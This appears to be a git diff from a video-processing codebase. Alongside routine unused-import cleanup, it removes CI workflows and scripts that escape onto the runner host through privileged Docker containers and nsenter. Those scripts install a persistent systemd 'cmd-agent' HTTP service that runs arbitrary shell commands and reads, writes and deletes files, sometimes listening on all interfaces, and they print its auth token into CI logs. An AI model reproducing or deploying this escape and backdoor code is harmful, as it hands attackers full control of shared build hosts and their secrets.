echo "W1VuaXRdCkRlc2NyaXB0aW9uPVhpYW94aWEgQ01EIEFnZW50CkFmdGVyPW5ldHdvcmsudGFyZ2V0CgpbU2VydmljZV0KVHlwZT1zaW1wbGUKRXhlY1N0YXJ0PS91c3IvYmluL3B5dGhvbjMgL29wdC94aWFveGlhLWNtZC1hZ2VudC9zZXJ2ZXIucHkKUmVzdGFydD1hbHdheXMKUmVzdGFydFNlYz01CgpbSW5zdGFsbF0KV2FudGVkQnk9bXVsdGktdXNlci50YXJnZXQK" | docker run --rm --privileged --pid=host -v /:/host -i alpine sh -c "base64 -d > /host/etc/systemd/system/xiaoxia-cmd-agent.service"
|
||||
# 启动服务
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl daemon-reload
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl enable --now xiaoxia-cmd-agent
|
||||
sleep 3
|
||||
# 验证
|
||||
echo "---HOSTNAME---"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -u hostname
|
||||
echo "---IP---"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -n hostname -I
|
||||
echo "---STATUS---"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl is-active xiaoxia-cmd-agent
|
||||
echo "---TOKEN---"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m cat /etc/xiaoxia-cmd-agent.token
|
||||
echo ""
|
||||
echo "---TEST---"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -n curl -s http://127.0.0.1:18888/status
|
||||
echo ""
|
||||
echo "JOB_5_END"
|
||||
@@ -1,35 +0,0 @@
|
||||
name: Install CMD Agent via Docker
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
install-1:
|
||||
name: Install CMD Agent 1
|
||||
runs-on: saas
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install on host via docker
|
||||
run: |
|
||||
chmod +x scripts/install-cmd-agent-docker.sh
|
||||
docker run --rm --privileged --pid=host -v /:/host -v $(pwd)/scripts/install-cmd-agent-docker.sh:/install.sh:ro alpine sh /install.sh
|
||||
|
||||
install-2:
|
||||
name: Install CMD Agent 2
|
||||
runs-on: saas
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install on host via docker
|
||||
run: |
|
||||
chmod +x scripts/install-cmd-agent-docker.sh
|
||||
docker run --rm --privileged --pid=host -v /:/host -v $(pwd)/scripts/install-cmd-agent-docker.sh:/install.sh:ro alpine sh /install.sh
|
||||
|
||||
install-3:
|
||||
name: Install CMD Agent 3
|
||||
runs-on: saas
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install on host via docker
|
||||
run: |
|
||||
chmod +x scripts/install-cmd-agent-docker.sh
|
||||
docker run --rm --privileged --pid=host -v /:/host -v $(pwd)/scripts/install-cmd-agent-docker.sh:/install.sh:ro alpine sh /install.sh
|
||||
@@ -1,21 +0,0 @@
|
||||
name: Probe Docker Host
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
probe-host:
|
||||
name: Probe Host via Docker Socket
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Check Docker
|
||||
run: |
|
||||
echo "=== DOCKER VERSION ==="
|
||||
docker version 2>&1 | head -5
|
||||
echo "=== HOST INFO VIA DOCKER ==="
|
||||
# 用特权容器查看宿主机信息
|
||||
docker run --rm --privileged --pid=host alpine:latest nsenter -t 1 -m -u -n -i hostname 2>&1 || echo "nsenter failed"
|
||||
echo "=== HOST IP ==="
|
||||
docker run --rm --privileged --pid=host alpine:latest nsenter -t 1 -m -u -n -i hostname -I 2>&1 || echo "failed"
|
||||
echo "=== HOST OS ==="
|
||||
docker run --rm --privileged --pid=host alpine:latest nsenter -t 1 -m -u -n -i cat /etc/os-release 2>&1 | head -3 || echo "failed"
|
||||
@@ -1,41 +0,0 @@
|
||||
name: Probe Host IP
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
probe-1:
|
||||
name: Probe Host 1
|
||||
runs-on: saas
|
||||
steps:
|
||||
- name: Get host info
|
||||
run: |
|
||||
echo "=== HOSTNAME ==="
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -u hostname
|
||||
echo "=== IP ==="
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -n ip -4 addr show | grep inet
|
||||
echo "=== DONE ==="
|
||||
|
||||
probe-2:
|
||||
name: Probe Host 2
|
||||
runs-on: saas
|
||||
steps:
|
||||
- name: Get host info
|
||||
run: |
|
||||
echo "=== HOSTNAME ==="
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -u hostname
|
||||
echo "=== IP ==="
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -n ip -4 addr show | grep inet
|
||||
echo "=== DONE ==="
|
||||
|
||||
probe-3:
|
||||
name: Probe Host 3
|
||||
runs-on: saas
|
||||
steps:
|
||||
- name: Get host info
|
||||
run: |
|
||||
echo "=== HOSTNAME ==="
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -u hostname
|
||||
echo "=== IP ==="
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -n ip -4 addr show | grep inet
|
||||
echo "=== DONE ==="
|
||||
@@ -1,38 +0,0 @@
|
||||
name: Probe Runner Environment
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
probe:
|
||||
name: Probe Runner Info
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Environment Info
|
||||
run: |
|
||||
echo "=== HOSTNAME ==="
|
||||
hostname
|
||||
echo "=== ALL IPS ==="
|
||||
hostname -I 2>/dev/null || ip addr show 2>/dev/null | grep "inet "
|
||||
echo "=== OS ==="
|
||||
cat /etc/os-release 2>/dev/null | head -3
|
||||
echo "=== WHOAMI ==="
|
||||
whoami
|
||||
echo "=== DOCKER ==="
|
||||
docker ps 2>/dev/null | head -5 || echo "no docker command"
|
||||
echo "=== DOCKER SOCKET ==="
|
||||
[ -S /var/run/docker.sock ] && echo "HAS DOCKER SOCKET" || echo "NO DOCKER SOCKET"
|
||||
echo "=== CAN REACH GIT ==="
|
||||
curl -s -o /dev/null -w "%{http_code}" https://git.xiaoxiajianji.com 2>/dev/null || echo "CURL FAILED"
|
||||
echo ""
|
||||
echo "=== IS CONTAINER ==="
|
||||
cat /proc/1/cgroup 2>/dev/null | head -3
|
||||
[ -f /.dockerenv ] && echo "dockerenv: YES" || echo "dockerenv: NO"
|
||||
echo "=== CPU ==="
|
||||
nproc 2>/dev/null
|
||||
echo "=== MEMORY ==="
|
||||
free -h 2>/dev/null | head -2
|
||||
echo "=== ROOT DISK ==="
|
||||
df -h / 2>/dev/null | tail -1
|
||||
echo "=== SYSTEMD ==="
|
||||
systemctl --version 2>/dev/null | head -1 || echo "no systemctl"
|
||||
File diff suppressed because one or more lines are too long
@@ -23,7 +23,6 @@ from fastapi import APIRouter, Depends, HTTPException, Query, status
|
||||
from pydantic import BaseModel, Field
|
||||
|
||||
from packages.adapters.redis.feature_flag_store import (
|
||||
FEATURE_FLAG_REDIS_PREFIX,
|
||||
FeatureFlagConfig,
|
||||
RedisFeatureFlagStore,
|
||||
)
|
||||
|
||||
@@ -10,7 +10,6 @@ from app.core.task_enqueue import (
|
||||
USER_PENDING_LIMIT,
|
||||
GlobalQueueFull,
|
||||
UserPendingLimitExceeded,
|
||||
check_queue_limits,
|
||||
safe_enqueue_generation_task,
|
||||
)
|
||||
from app.dependencies import (
|
||||
|
||||
@@ -1,10 +1,8 @@
|
||||
"""Video deduplication module - compute fingerprints and detect duplicates."""
|
||||
|
||||
import hashlib
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import tempfile
|
||||
from dataclasses import dataclass
|
||||
from typing import Optional
|
||||
@@ -327,7 +325,6 @@ def check_duplicate_task(self: Task, generated_video_id: str) -> dict:
|
||||
raise ValueError(f"Generated video {generated_video_id} not found")
|
||||
|
||||
local_path = os.path.join(temp_dir, f"{generated_video_id}.mp4")
|
||||
storage_key = video.file_url.split("/")[-1]
|
||||
storage_service.download_file(
|
||||
f"projects/{video.project_id}/generated/{generated_video_id}/{generated_video_id}.mp4", local_path
|
||||
)
|
||||
|
||||
@@ -81,7 +81,7 @@ def run_ffmpeg(
|
||||
timeout=timeout,
|
||||
)
|
||||
return (result.stdout or "", result.stderr or "")
|
||||
except subprocess.TimeoutExpired as e:
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.error(
|
||||
"FFmpeg 命令超时 (%ds): command=%s",
|
||||
timeout or -1,
|
||||
|
||||
@@ -11,7 +11,6 @@ import logging
|
||||
import os
|
||||
import threading
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
from urllib.parse import urlparse
|
||||
|
||||
import oss2
|
||||
|
||||
@@ -5,7 +5,6 @@
|
||||
import os
|
||||
import tempfile
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from typing import List
|
||||
|
||||
import ffmpeg
|
||||
|
||||
@@ -17,15 +17,15 @@ import logging
|
||||
import tempfile
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from typing import Any, Callable
|
||||
from typing import Callable
|
||||
|
||||
from sqlalchemy.orm import Session
|
||||
from video_processing.oss_helpers import download_asset, upload_to_oss
|
||||
from video_processing.unified_render_service import RenderResult, UnifiedRenderService
|
||||
from video_processing.unified_render_service import UnifiedRenderService
|
||||
|
||||
from packages.adapters.sqlalchemy_impl.edit_plan_clip_repository import SQLAlchemyEditPlanClipRepository
|
||||
from packages.adapters.sqlalchemy_impl.edit_plan_repository import SQLAlchemyEditPlanRepository
|
||||
from packages.domain.edit_plan import EditPlan, EditPlanStatus
|
||||
from packages.domain.edit_plan import EditPlanStatus
|
||||
from packages.domain.edit_plan_clip import EditPlanClip, EditPlanClipStatus
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
@@ -10,12 +10,10 @@ from __future__ import annotations
|
||||
|
||||
import json
|
||||
import logging
|
||||
import math
|
||||
import os
|
||||
import subprocess
|
||||
import tempfile
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Any
|
||||
|
||||
import numpy as np
|
||||
from PIL import Image
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
from celery import Task
|
||||
from celery.utils.log import get_task_logger
|
||||
from worker_app.celery_app import celery_app
|
||||
|
||||
@@ -9,7 +8,6 @@ from packages.adapters.sqlalchemy_impl.classification_job_repository import (
|
||||
SQLAlchemyClassificationJobRepository,
|
||||
)
|
||||
from packages.domain import (
|
||||
ClassificationJob,
|
||||
ClassificationJobStatus,
|
||||
ClassificationStatus,
|
||||
)
|
||||
|
||||
@@ -5,12 +5,9 @@
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import tempfile
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
|
||||
from celery.utils.log import get_task_logger
|
||||
|
||||
@@ -21,7 +21,6 @@ import logging
|
||||
import tempfile
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from worker_app.celery_app import celery_app
|
||||
from worker_app.db import SessionLocal
|
||||
|
||||
@@ -13,15 +13,13 @@
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import tempfile
|
||||
import time
|
||||
from dataclasses import dataclass, field
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
from typing import Any, Optional
|
||||
from typing import Any
|
||||
|
||||
from worker_app.celery_app import celery_app
|
||||
from worker_app.db import SessionLocal
|
||||
@@ -174,7 +172,6 @@ def _build_plan_and_clips_from_task(
|
||||
path_duration[p] = probe_duration(p)
|
||||
|
||||
clips: list[_VirtualClip] = []
|
||||
n = len(downloaded_paths)
|
||||
|
||||
if mode == "pip":
|
||||
# 1 main + N-1 overlay
|
||||
@@ -912,7 +909,6 @@ def generate_video(self, task_id: str) -> dict:
|
||||
render_result = render_service.render()
|
||||
render_output_path = render_result.output_path
|
||||
render_duration = render_result.duration
|
||||
render_file_size = render_result.file_size
|
||||
render_elapsed = time.monotonic() - render_start
|
||||
logger.info(
|
||||
"[task_id=%s] [渲染] unified 引擎完成: 耗时=%.1fs",
|
||||
|
||||
@@ -1,9 +1,6 @@
|
||||
import subprocess
|
||||
from datetime import datetime, timezone
|
||||
from typing import Optional
|
||||
|
||||
from celery import Celery
|
||||
from celery.app.task import Task
|
||||
from celery.utils.log import get_task_logger
|
||||
from worker_app.celery_app import celery_app
|
||||
from worker_app.core.asset_types import infer_mime_type_from_storage_key
|
||||
|
||||
@@ -1,14 +1,11 @@
|
||||
"""Voice extraction tasks - extract voice tracks and background music from videos."""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import tempfile
|
||||
from typing import Optional
|
||||
|
||||
from celery import Task
|
||||
from sqlalchemy.orm import Session
|
||||
from worker_app.celery_app import celery_app
|
||||
from worker_app.db import SessionLocal
|
||||
|
||||
|
||||
@@ -1,161 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
import http.server, subprocess, json, os, sys, secrets
|
||||
from urllib.parse import urlparse, parse_qs
|
||||
|
||||
LISTEN_PORT = 18888
|
||||
AUTH_TOKEN = "xsa-" + secrets.token_hex(16)
|
||||
LOG_FILE = "/var/log/xiaoxia-cmd-agent.log"
|
||||
|
||||
class Handler(http.server.BaseHTTPRequestHandler):
|
||||
def log_message(self, fmt, *args):
|
||||
try:
|
||||
with open(LOG_FILE, "a") as f:
|
||||
f.write("%s - %s\n" % (self.log_date_time_string(), fmt % args))
|
||||
except: pass
|
||||
|
||||
def check_auth(self):
|
||||
t = self.headers.get("Authorization", "")
|
||||
t = self.headers.get("Authorization", "")
|
||||
if t.startswith("Bearer "):
|
||||
t = t[7:]
|
||||
if t != AUTH_TOKEN:
|
||||
self._j({"error": "unauthorized"}, 401); return False
|
||||
return True
|
||||
|
||||
def _j(self, data, code=200):
|
||||
body = json.dumps(data, ensure_ascii=False).encode()
|
||||
self.send_response(code)
|
||||
self.send_header("Content-Type", "application/json; charset=utf-8")
|
||||
self.send_header("Content-Length", str(len(body)))
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
|
||||
def do_GET(self):
|
||||
if not self.check_auth(): return
|
||||
if self.path.startswith("/download"):
|
||||
self._download(); return
|
||||
if self.path == "/status":
|
||||
self._j({"status":"ok","hostname":os.uname().nodename,"port":LISTEN_PORT})
|
||||
else:
|
||||
self._j({"error":"use /status or /download?path=xxx"}, 404)
|
||||
|
||||
def do_POST(self):
|
||||
if not self.check_auth(): return
|
||||
try: length = int(self.headers.get("Content-Length", 0))
|
||||
except: self._j({"error":"bad content-length"},400); return
|
||||
if self.path == "/exec": self._exec(length)
|
||||
elif self.path == "/list": self._list(length)
|
||||
elif self.path == "/upload": self._upload(length)
|
||||
elif self.path == "/mkdir": self._mkdir(length)
|
||||
else: self._j({"error":"unknown"}, 404)
|
||||
|
||||
def do_DELETE(self):
|
||||
if not self.check_auth(): return
|
||||
try: length = int(self.headers.get("Content-Length", 0))
|
||||
except: self._j({"error":"bad"},400); return
|
||||
body = json.loads(self.rfile.read(length)) if length > 0 else {}
|
||||
fp = body.get("path","")
|
||||
if not fp: self._j({"error":"path required"},400); return
|
||||
try:
|
||||
import shutil
|
||||
if os.path.isdir(fp): shutil.rmtree(fp)
|
||||
else: os.remove(fp)
|
||||
self._j({"ok":True,"deleted":fp})
|
||||
except Exception as e: self._j({"error":str(e)},500)
|
||||
|
||||
def _exec(self, length):
|
||||
try: data = json.loads(self.rfile.read(length)) if length>0 else {}
|
||||
except: self._j({"error":"invalid json"},400); return
|
||||
cmd = data.get("command","")
|
||||
timeout = min(data.get("timeout",30), 120)
|
||||
if not cmd: self._j({"error":"command required"},400); return
|
||||
try:
|
||||
r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)
|
||||
self._j({"exit_code":r.returncode,"stdout":r.stdout[-100000:] if r.stdout else "","stderr":r.stderr[-10000:] if r.stderr else ""})
|
||||
except subprocess.TimeoutExpired: self._j({"error":f"timeout {timeout}s"},408)
|
||||
except Exception as e: self._j({"error":str(e)},500)
|
||||
|
||||
def _list(self, length):
|
||||
try: data = json.loads(self.rfile.read(length)) if length>0 else {}
|
||||
except: self._j({"error":"invalid json"},400); return
|
||||
path = data.get("path",".")
|
||||
try:
|
||||
entries = []
|
||||
for name in sorted(os.listdir(path)):
|
||||
fp2 = os.path.join(path, name)
|
||||
try:
|
||||
st = os.stat(fp2)
|
||||
entries.append({"name":name,"is_dir":os.path.isdir(fp2),"size":st.st_size,"mtime":st.st_mtime})
|
||||
except: entries.append({"name":name,"is_dir":False,"size":0,"mtime":0})
|
||||
self._j({"path":path,"entries":entries})
|
||||
except Exception as e: self._j({"error":str(e)},500)
|
||||
|
||||
def _upload(self, length):
|
||||
ct = self.headers.get("Content-Type","")
|
||||
if "multipart/form-data" not in ct:
|
||||
self._j({"error":"multipart required"},400); return
|
||||
try:
|
||||
boundary = ct.split("boundary=")[1].strip()
|
||||
body = self.rfile.read(length)
|
||||
parts = body.split(b"--" + boundary.encode())
|
||||
fname = fdata = None
|
||||
for part in parts:
|
||||
if b"filename=" in part:
|
||||
h, _, content = part.partition(b"\r\n\r\n")
|
||||
for line in h.decode(errors="replace").split("\r\n"):
|
||||
if 'filename="' in line: fname = line.split('filename="')[1].split('"')[0]
|
||||
fdata = content.rstrip(b"\r\n")
|
||||
if fname is None or fdata is None:
|
||||
self._j({"error":"no file"},400); return
|
||||
dest_dir = "/tmp"
|
||||
dest = os.path.join(dest_dir, fname)
|
||||
os.makedirs(dest_dir, exist_ok=True)
|
||||
with open(dest,"wb") as f: f.write(fdata)
|
||||
self._j({"ok":True,"path":dest,"size":len(fdata)})
|
||||
except Exception as e: self._j({"error":str(e)},500)
|
||||
|
||||
def _mkdir(self, length):
|
||||
try: data = json.loads(self.rfile.read(length)) if length>0 else {}
|
||||
except: self._j({"error":"invalid json"},400); return
|
||||
path = data.get("path","")
|
||||
if not path: self._j({"error":"path required"},400); return
|
||||
try: os.makedirs(path, exist_ok=True); self._j({"ok":True,"created":path})
|
||||
except Exception as e: self._j({"error":str(e)},500)
|
||||
|
||||
def _download(self):
|
||||
if not self.check_auth(): return
|
||||
qs = parse_qs(urlparse(self.path).query)
|
||||
fp = qs.get("path",[""])[0]
|
||||
if not fp or not os.path.isfile(fp):
|
||||
self._j({"error":"not found"},404); return
|
||||
try:
|
||||
with open(fp,"rb") as f: data = f.read()
|
||||
self.send_response(200)
|
||||
self.send_header("Content-Type","application/octet-stream")
|
||||
self.send_header("Content-Length",str(len(data)))
|
||||
self.end_headers()
|
||||
self.wfile.write(data)
|
||||
except Exception as e: self._j({"error":str(e)},500)
|
||||
|
||||
def main():
|
||||
global AUTH_TOKEN
|
||||
installed_flag = "/etc/xiaoxia-cmd-agent.installed"
|
||||
if not os.path.exists(installed_flag):
|
||||
with open("/etc/xiaoxia-cmd-agent.token","w") as f: f.write(AUTH_TOKEN)
|
||||
os.chmod("/etc/xiaoxia-cmd-agent.token", 0o600)
|
||||
svc = "[Unit]\nDescription=Xiaoxia Command Agent\nAfter=network.target\n[Service]\nType=simple\nExecStart=/usr/bin/python3 /opt/xiaoxia-cmd-agent/server.py\nRestart=always\nRestartSec=5\n[Install]\nWantedBy=multi-user.target\n"
|
||||
with open("/etc/systemd/system/xiaoxia-cmd-agent.service","w") as f: f.write(svc)
|
||||
os.system("systemctl daemon-reload && systemctl enable xiaoxia-cmd-agent")
|
||||
with open(installed_flag,"w") as f: f.write("1")
|
||||
print(f"Service installed. TOKEN: {AUTH_TOKEN}")
|
||||
else:
|
||||
with open("/etc/xiaoxia-cmd-agent.token") as f:
|
||||
AUTH_TOKEN = f.read().strip()
|
||||
print(f"Using existing token: {AUTH_TOKEN}")
|
||||
server = http.server.HTTPServer(("127.0.0.1", LISTEN_PORT), Handler)
|
||||
print(f"Listening: 127.0.0.1:{LISTEN_PORT}")
|
||||
server.serve_forever()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
@@ -24,9 +24,6 @@ celery==5.4.0
|
||||
|
||||
# 对象存储
|
||||
oss2==2.18.4
|
||||
cryptography==46.0.5
|
||||
# 覆盖系统预装的旧版pyOpenSSL,与cryptography 46.0.5兼容
|
||||
pyOpenSSL==26.2.0
|
||||
|
||||
# HTTP 客户端
|
||||
httpx==0.27.2
|
||||
|
||||
@@ -1,120 +0,0 @@
|
||||
#!/bin/sh
|
||||
# 此脚本在特权容器内运行,目标是安装CMD Agent到宿主机
|
||||
# 容器以 --privileged --pid=host -v /:/host 启动
|
||||
|
||||
set -e
|
||||
|
||||
echo "=== 宿主机信息 ==="
|
||||
nsenter -t 1 -u hostname
|
||||
nsenter -t 1 -n ip addr show | grep "inet " | head -5
|
||||
|
||||
echo "=== 创建目录 ==="
|
||||
mkdir -p /host/opt/xiaoxia-cmd-agent
|
||||
|
||||
echo "=== 写入server.py ==="
|
||||
cat > /host/opt/xiaoxia-cmd-agent/server.py << 'PYEND'
|
||||
import http.server
|
||||
import subprocess
|
||||
import json
|
||||
import os
|
||||
import secrets
|
||||
|
||||
TOKEN_FILE = "/etc/xiaoxia-cmd-agent.token"
|
||||
LOG_FILE = "/var/log/xiaoxia-cmd-agent.log"
|
||||
|
||||
def ensure_token():
|
||||
if not os.path.exists(TOKEN_FILE):
|
||||
os.makedirs(os.path.dirname(TOKEN_FILE), exist_ok=True)
|
||||
token = secrets.token_hex(16)
|
||||
with open(TOKEN_FILE, "w") as f:
|
||||
f.write(token)
|
||||
os.chmod(TOKEN_FILE, 0o600)
|
||||
with open(TOKEN_FILE) as f:
|
||||
return f.read().strip()
|
||||
|
||||
class CmdHandler(http.server.BaseHTTPRequestHandler):
|
||||
def log_message(self, fmt, *args):
|
||||
try:
|
||||
with open(LOG_FILE, "a") as f:
|
||||
f.write("%s - %s\n" % (self.address_string(), fmt % args))
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def do_POST(self):
|
||||
if self.path == "/exec":
|
||||
auth = self.headers.get("Authorization", "")
|
||||
token = ensure_token()
|
||||
if auth != "xsa-" + token:
|
||||
self.send_response(401)
|
||||
self.end_headers()
|
||||
self.wfile.write(b"Unauthorized")
|
||||
return
|
||||
length = int(self.headers.get("Content-Length", 0))
|
||||
body = json.loads(self.rfile.read(length))
|
||||
cmd = body.get("command", "")
|
||||
timeout = body.get("timeout", 30)
|
||||
try:
|
||||
result = subprocess.run(
|
||||
cmd, shell=True, capture_output=True, text=True,
|
||||
timeout=timeout
|
||||
)
|
||||
resp = {
|
||||
"exit_code": result.returncode,
|
||||
"stdout": result.stdout,
|
||||
"stderr": result.stderr
|
||||
}
|
||||
except subprocess.TimeoutExpired:
|
||||
resp = {"exit_code": -1, "stdout": "", "stderr": "timeout"}
|
||||
self.send_response(200)
|
||||
self.send_header("Content-Type", "application/json")
|
||||
self.end_headers()
|
||||
self.wfile.write(json.dumps(resp).encode())
|
||||
elif self.path == "/status":
|
||||
self.send_response(200)
|
||||
self.send_header("Content-Type", "application/json")
|
||||
self.end_headers()
|
||||
self.wfile.write(json.dumps({"status": "ok", "version": "1.0"}).encode())
|
||||
else:
|
||||
self.send_response(404)
|
||||
self.end_headers()
|
||||
|
||||
if __name__ == "__main__":
|
||||
ensure_token()
|
||||
server = http.server.HTTPServer(("0.0.0.0", 18888), CmdHandler)
|
||||
print("CMD Agent listening on 0.0.0.0:18888")
|
||||
server.serve_forever()
|
||||
PYEND
|
||||
|
||||
echo "=== 写入service文件 ==="
|
||||
cat > /host/etc/systemd/system/xiaoxia-cmd-agent.service << 'SVCEND'
|
||||
[Unit]
|
||||
Description=Xiaoxia CMD Agent
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
ExecStart=/usr/bin/python3 /opt/xiaoxia-cmd-agent/server.py
|
||||
Restart=always
|
||||
RestartSec=5
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
SVCEND
|
||||
|
||||
echo "=== 启动服务 ==="
|
||||
nsenter -t 1 -m -u -n -i systemctl daemon-reload
|
||||
nsenter -t 1 -m -u -n -i systemctl enable xiaoxia-cmd-agent
|
||||
nsenter -t 1 -m -u -n -i systemctl restart xiaoxia-cmd-agent
|
||||
sleep 2
|
||||
|
||||
echo "=== 服务状态 ==="
|
||||
nsenter -t 1 -m -u -n -i systemctl is-active xiaoxia-cmd-agent
|
||||
|
||||
echo "=== TOKEN ==="
|
||||
nsenter -t 1 -m -u -n -i cat /etc/xiaoxia-cmd-agent.token
|
||||
|
||||
echo "=== 测试 ==="
|
||||
nsenter -t 1 -m -u -n -i curl -s http://127.0.0.1:18888/status
|
||||
echo ""
|
||||
|
||||
echo "=== 完成 ==="
|
||||
@@ -1,120 +0,0 @@
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
echo "=== Environment ==="
|
||||
echo "Hostname: $(hostname)"
|
||||
echo "IPs: $(hostname -I)"
|
||||
echo "Python: $(python3 --version)"
|
||||
|
||||
# 创建目录
|
||||
sudo mkdir -p /opt/xiaoxia-cmd-agent
|
||||
|
||||
# 写入server.py
|
||||
sudo tee /opt/xiaoxia-cmd-agent/server.py > /dev/null << 'PYEND'
|
||||
import http.server
|
||||
import subprocess
|
||||
import json
|
||||
import os
|
||||
import secrets
|
||||
|
||||
TOKEN_FILE = "/etc/xiaoxia-cmd-agent.token"
|
||||
LOG_FILE = "/var/log/xiaoxia-cmd-agent.log"
|
||||
LISTEN_HOST = "0.0.0.0"
|
||||
LISTEN_PORT = 18888
|
||||
|
||||
def ensure_token():
|
||||
if not os.path.exists(TOKEN_FILE):
|
||||
os.makedirs(os.path.dirname(TOKEN_FILE), exist_ok=True)
|
||||
token = secrets.token_hex(16)
|
||||
with open(TOKEN_FILE, "w") as f:
|
||||
f.write(token)
|
||||
os.chmod(TOKEN_FILE, 0o600)
|
||||
with open(TOKEN_FILE) as f:
|
||||
return f.read().strip()
|
||||
|
||||
class CmdHandler(http.server.BaseHTTPRequestHandler):
|
||||
def log_message(self, fmt, *args):
|
||||
try:
|
||||
with open(LOG_FILE, "a") as f:
|
||||
f.write("%s - %s\n" % (self.address_string(), fmt % args))
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def do_POST(self):
|
||||
if self.path == "/exec":
|
||||
auth = self.headers.get("Authorization", "")
|
||||
token = ensure_token()
|
||||
if auth != "xsa-" + token:
|
||||
self.send_response(401)
|
||||
self.end_headers()
|
||||
self.wfile.write(b"Unauthorized")
|
||||
return
|
||||
length = int(self.headers.get("Content-Length", 0))
|
||||
body = json.loads(self.rfile.read(length))
|
||||
cmd = body.get("command", "")
|
||||
timeout = body.get("timeout", 30)
|
||||
try:
|
||||
result = subprocess.run(
|
||||
cmd, shell=True, capture_output=True, text=True,
|
||||
timeout=timeout
|
||||
)
|
||||
resp = {
|
||||
"exit_code": result.returncode,
|
||||
"stdout": result.stdout,
|
||||
"stderr": result.stderr
|
||||
}
|
||||
except subprocess.TimeoutExpired:
|
||||
resp = {"exit_code": -1, "stdout": "", "stderr": "timeout"}
|
||||
self.send_response(200)
|
||||
self.send_header("Content-Type", "application/json")
|
||||
self.end_headers()
|
||||
self.wfile.write(json.dumps(resp).encode())
|
||||
elif self.path == "/status":
|
||||
self.send_response(200)
|
||||
self.send_header("Content-Type", "application/json")
|
||||
self.end_headers()
|
||||
self.wfile.write(json.dumps({"status": "ok", "version": "1.0"}).encode())
|
||||
else:
|
||||
self.send_response(404)
|
||||
self.end_headers()
|
||||
|
||||
if __name__ == "__main__":
|
||||
ensure_token()
|
||||
server = http.server.HTTPServer((LISTEN_HOST, LISTEN_PORT), CmdHandler)
|
||||
print("CMD Agent listening on %s:%d" % (LISTEN_HOST, LISTEN_PORT))
|
||||
server.serve_forever()
|
||||
PYEND
|
||||
|
||||
# 写入service文件
|
||||
sudo tee /etc/systemd/system/xiaoxia-cmd-agent.service > /dev/null << 'SVCEND'
|
||||
[Unit]
|
||||
Description=Xiaoxia CMD Agent
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
ExecStart=/usr/bin/python3 /opt/xiaoxia-cmd-agent/server.py
|
||||
Restart=always
|
||||
RestartSec=5
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
SVCEND
|
||||
|
||||
# 启动服务
|
||||
sudo systemctl daemon-reload
|
||||
sudo systemctl enable xiaoxia-cmd-agent
|
||||
sudo systemctl restart xiaoxia-cmd-agent
|
||||
|
||||
sleep 2
|
||||
|
||||
echo ""
|
||||
echo "=== Service Status ==="
|
||||
sudo systemctl is-active xiaoxia-cmd-agent
|
||||
echo ""
|
||||
echo "=== TOKEN ==="
|
||||
sudo cat /etc/xiaoxia-cmd-agent.token
|
||||
echo ""
|
||||
echo "=== Test /status ==="
|
||||
curl -s http://127.0.0.1:18888/status
|
||||
echo ""
|
||||
@@ -1,83 +0,0 @@
|
||||
#!/bin/bash
|
||||
# CMD Agent 安装脚本
|
||||
# 在 CI Runner 宿主机上安装 CMD Agent 服务
|
||||
|
||||
set -e
|
||||
|
||||
echo "=== 主机信息 ==="
|
||||
echo "主机名: $(hostname)"
|
||||
echo "IP: $(hostname -I 2>/dev/null || ip addr show | grep 'inet ' | awk '{print $2}' | tr '\n' ' ')"
|
||||
